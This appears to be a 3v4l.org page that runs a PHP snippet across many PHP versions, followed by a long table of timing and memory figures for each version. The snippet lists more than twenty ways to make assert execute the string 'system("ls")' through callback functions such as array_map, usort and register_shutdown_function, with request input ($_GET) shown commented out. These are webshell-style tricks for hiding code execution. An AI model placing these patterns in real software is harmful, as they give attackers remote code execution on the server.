3v4l.org

run code in 300+ PHP versions simultaneously
<?php $vector = 'system("ls");';//$_GET['vector']; array_map('assert', array($vector)); array_filter(array($vector), 'assert'); array_reduce(array($vector), 'call_user_func', 'assert'); array_diff_uassoc(array($vector => 1, 'assert' => 1), array(), 'call_user_func'); array_diff_ukey(array('assert' => 1), array($vector => 1), 'call_user_func'); array_udiff(array('assert'), array($vector), 'call_user_func'); array_udiff_assoc(array('assert'), array($vector), 'call_user_func'); array_diff_uassoc(array('assert' => 1), array($vector => 1), 'call_user_func'); array_intersect_uassoc(array($vector => 1, 'assert' => 1), array(), 'call_user_func'); array_intersect_ukey(array('assert' => 1), array($vector => 1), 'call_user_func'); array_uintersect(array($vector, 'assert'), array(), 'call_user_func'); array_uintersect_assoc(array('assert'), array($vector), 'call_user_func'); $a = array('assert' => 'assert'); $b = array("print'register_shutdown_function'" => "print'call_user_func'"); array_uintersect_uassoc($a, $b, 'call_user_func', 'register_shutdown_function'); array_walk($c = array($vector => 'assert'), 'call_user_func'); array_walk_recursive($c = array($vector => 'assert'), 'call_user_func'); call_user_func('assert', $vector); call_user_func_array('assert', array($vector)); iterator_apply(new ArrayIterator(array(1)), 'call_user_func', array('assert', $vector)); register_shutdown_function('assert', $vector); usort($c = array($vector, 'assert'), 'call_user_func'); uasort($c = array(1 => $vector, 2 => 'assert'), 'call_user_func'); uksort($c = array($vector => 1, 'assert' => 1), 'call_user_func');

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00916.63
8.3.50.0140.00622.11
8.3.40.0070.00718.68
8.3.30.0040.01118.79
8.3.20.0040.00420.34
8.3.10.0030.00523.61
8.3.00.0060.00319.15
8.2.180.0120.00318.42
8.2.170.0040.01122.96
8.2.160.0070.00720.53
8.2.150.0070.00024.18
8.2.140.0040.00424.66
8.2.130.0030.00526.16
8.2.120.0060.00617.63
8.2.110.0090.00020.80
8.2.100.0090.00317.92
8.2.90.0040.00419.17
8.2.80.0030.00617.97
8.2.70.0000.00817.75
8.2.60.0040.00418.05
8.2.50.0030.00618.19
8.2.40.0060.00620.50
8.2.30.0080.00021.14
8.2.20.0070.00017.75
8.2.10.0050.00318.20
8.2.00.0000.00718.18
8.1.280.0140.00725.92
8.1.270.0030.00623.96
8.1.260.0040.00426.35
8.1.250.0050.00328.09
8.1.240.0090.00024.02
8.1.230.0040.00720.52
8.1.220.0040.00417.78
8.1.210.0050.00318.77
8.1.200.0060.00317.60
8.1.190.0000.00817.36
8.1.180.0040.00420.38
8.1.170.0030.00618.66
8.1.160.0000.00718.95
8.1.150.0040.00419.02
8.1.140.0030.00619.55
8.1.130.0050.00217.76
8.1.120.0040.00417.46
8.1.110.0040.00417.51
8.1.100.0000.00717.43
8.1.90.0070.00017.41
8.1.80.0000.00717.51
8.1.70.0030.00317.44
8.1.60.0000.00817.54
8.1.50.0030.00617.61
8.1.40.0000.00817.51
8.1.30.0040.00417.63
8.1.20.0000.00817.70
8.1.10.0030.00517.68
8.1.00.0000.00817.45
8.0.300.0000.00718.77
8.0.290.0030.00616.88
8.0.280.0040.00418.38
8.0.270.0000.00817.19
8.0.260.0000.00617.20
8.0.250.0040.00417.10
8.0.240.0040.00417.12
8.0.230.0070.00017.04
8.0.220.0000.00716.89
8.0.210.0040.00416.88
8.0.200.0070.00017.08
8.0.190.0060.00317.04
8.0.180.0040.00416.96
8.0.170.0040.00416.91
8.0.160.0040.00417.11
8.0.150.0080.00016.93
8.0.140.0040.00416.93
8.0.130.0080.00013.42
8.0.120.0040.00416.95
8.0.110.0040.00416.97
8.0.100.0070.00016.84
8.0.90.0040.00417.08
8.0.80.0120.00917.07
8.0.70.0080.00016.97
8.0.60.0050.00216.85
8.0.50.0040.00416.98
8.0.30.0090.00817.21
8.0.20.0130.00817.40
8.0.10.0070.00017.03
8.0.00.0110.01116.74
7.4.330.0060.00015.20
7.4.320.0000.00716.56
7.4.300.0030.00316.64
7.4.290.0000.00716.63
7.4.280.0040.00416.48
7.4.270.0000.00716.55
7.4.260.0080.00016.40
7.4.250.0000.00816.41
7.4.240.0050.00216.60
7.4.230.0020.00516.64
7.4.220.0170.00016.77
7.4.210.0060.00916.70
7.4.200.0050.00316.71
7.4.160.0070.01116.54
7.4.150.0150.00517.40
7.4.140.0090.01017.86
7.4.130.0130.00816.64
7.4.120.0090.01016.59
7.4.110.0090.01316.52
7.4.100.0100.01416.53
7.4.90.0070.01116.54
7.4.80.0070.01119.39
7.4.70.0090.00916.61
7.4.60.0090.00916.52
7.4.50.0060.00316.53
7.4.40.0060.01316.48
7.4.30.0160.00916.62
7.4.00.0080.00815.21
7.3.330.0030.00313.39
7.3.320.0000.00613.41
7.3.310.0000.00716.36
7.3.300.0000.00716.52
7.3.290.0040.01316.44
7.3.280.0050.01316.45
7.3.270.0130.00917.40
7.3.260.0090.01016.47
7.3.250.0050.01316.51
7.3.240.0070.01416.36
7.3.230.0180.00416.39
7.3.210.0100.00816.45
7.3.200.0090.00916.45
7.3.190.0060.01516.42
7.3.180.0110.00816.62
7.3.170.0140.00416.59
7.3.160.0130.00416.47
7.3.10.0630.00716.59
7.3.00.0730.00816.41
7.2.330.0120.01016.52
7.2.320.0070.01316.70
7.2.310.0120.00616.61
7.2.300.0100.01016.59
7.2.290.0130.01416.36
7.2.130.0300.01416.29
7.2.120.0280.00715.95
7.2.110.0180.01516.17
7.2.100.0220.01316.05
7.2.90.0370.00616.91
7.2.80.0280.01316.74
7.2.70.0260.01017.00
7.2.60.0290.01016.49
7.2.50.0320.00317.07
7.2.40.0210.01016.62
7.2.30.0320.00416.75
7.2.20.0350.00516.82
7.2.10.0310.00516.87
7.2.00.0330.00616.77
7.1.250.0270.00915.52
7.1.200.0120.00115.62
7.1.70.0040.00416.91
7.1.60.0070.02119.43
7.1.50.0060.01017.15
7.1.00.0030.08022.43
7.0.200.0250.00814.63
7.0.60.0100.09319.97
7.0.50.0130.08017.92
7.0.40.0270.07020.08
7.0.30.0070.04020.00
7.0.20.0430.04320.16
7.0.10.0130.04320.30
7.0.00.0070.05720.13
5.6.280.0070.05720.95
5.6.210.0200.08020.51
5.6.200.0200.08318.17
5.6.190.0130.09020.77
5.6.180.0500.07020.44
5.6.170.0130.05320.41
5.6.160.0130.04020.71
5.6.150.0130.07018.28
5.6.140.0100.05018.22
5.6.130.0270.06318.25
5.6.120.0130.09321.13
5.6.110.0200.08321.01
5.6.100.0100.04321.14
5.6.90.0230.05320.96
5.6.80.0100.08720.41
5.5.350.0230.03320.45
5.5.340.0170.07318.06
5.5.330.0130.08020.20
5.5.320.0270.03720.30
5.5.310.0370.07020.41
5.5.300.0130.05018.08
5.5.290.0100.08017.97
5.5.280.0030.08020.86
5.5.270.0070.04320.87
5.5.260.0200.06320.82
5.5.250.0200.08020.63
5.5.240.0070.07320.21
5.4.450.0670.05319.35
5.4.440.0770.06319.26
5.4.430.0600.06319.50
5.4.420.0730.06319.46
5.4.410.0730.05319.11
5.4.400.0700.05019.20
5.4.390.0600.06319.12
5.4.380.0730.05318.84
5.4.370.0700.04719.14
5.4.360.0700.05719.21
5.4.350.0570.06319.14
5.4.340.0770.05719.14
5.4.320.0700.05319.29
5.4.310.0530.05319.14
5.4.300.0570.05019.12
5.4.290.0530.05318.93
5.4.280.0770.04318.97
5.4.270.0170.05018.79
5.4.260.0130.05719.26
5.4.250.0230.04719.32
5.4.240.0600.04719.00
5.4.230.0770.04319.20
5.4.220.0530.07019.29
5.4.210.0670.05019.13
5.4.200.0530.05319.31
5.4.190.0570.05319.29
5.4.180.0600.05019.24
5.4.170.0830.04719.20
5.4.160.0230.04718.78
5.4.150.0100.06319.19
5.4.140.0230.04716.55
5.4.130.0600.04716.44
5.4.120.0230.05716.30
5.4.110.0200.07016.45
5.4.100.0270.04016.50
5.4.90.0570.05016.30
5.4.80.0870.04716.56
5.4.70.0770.04316.24
5.4.60.0670.05016.47
5.4.50.0670.04716.58
5.4.40.0670.04716.27
5.4.30.0230.04316.47
5.4.20.0170.05716.37
5.4.10.0200.05016.46
5.4.00.0100.06015.77

preferences:
31.82 ms | 401 KiB | 5 Q